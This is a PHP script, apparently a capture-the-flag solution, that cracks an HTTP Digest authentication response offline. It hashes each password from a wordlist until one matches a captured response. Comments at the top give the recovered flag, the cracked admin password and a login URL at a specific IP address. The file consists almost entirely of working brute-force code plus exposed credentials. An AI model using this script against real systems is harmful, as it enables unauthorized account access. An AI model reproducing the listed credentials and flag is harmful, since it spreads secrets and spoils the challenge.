<?php
//flag: CTF{6ee8014f5cc43767d03d97d6d73d9ed5}
//pwd: cowboy123
//InsidePro\ (Full)\ -\ 1.rar <-- wordlist took from http://www.insidepro.com/dictionaries.php
//log in here with admin:cowboy123: http://54.201.187.163/auth.php
//down here the script i used to brute digest admin access
//look wikipedia for its functionality

ini_set('memory_limit', '-1');
/*$username="Mufasa";
$realm="[email protected]";
$password="";//have to be guessd
$method="GET";
$digestURI="/dir/index.html";
$clientNonce="0a4f113b";
$nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093";
$nonceCount="00000001";
$qop="auth";
$response="6629fae49393a05397450978507c4ef1";
*/
$username="admin";
$realm="Private Area";
$password="";//have to be guessd
$method="GET";
$digestURI="/auth.php";
$clientNonce="347278e387a2f030";
$nonce="1389094144";
$nonceCount="00000001";
$qop="auth";
$response="f86930f9e0466aeced34036bc2f7a346";

//ha1=md5(username:realm:password)
//ha2=md5(method:digesturi)
//risposta=md5(ha1:nonce:nonceCount:clientNonce:qop:ha2)
//$fp=fopen("all3.txt","r");


//$ha1=md5($username.":".$realm.":".$password);
//echo md5($ha1.":".$nonce.":".$nonceCount.":".$clientNonce.":".$qop.":".$ha2)."\n";
$ha2=md5($method.":".$digestURI);
$lines=file_get_contents("xab");
$arr=explode("\r\n",$lines);

for($i=0;$i<count($arr);$i++){
    $password=$arr[$i];

    $ha1=md5($username.":".$realm.":".$password);
    $r=md5($ha1.":".$nonce.":".$nonceCount.":".$clientNonce.":".$qop.":".$ha2);

    if($r==$response){
        die($arr[$i]);
    }
}

?>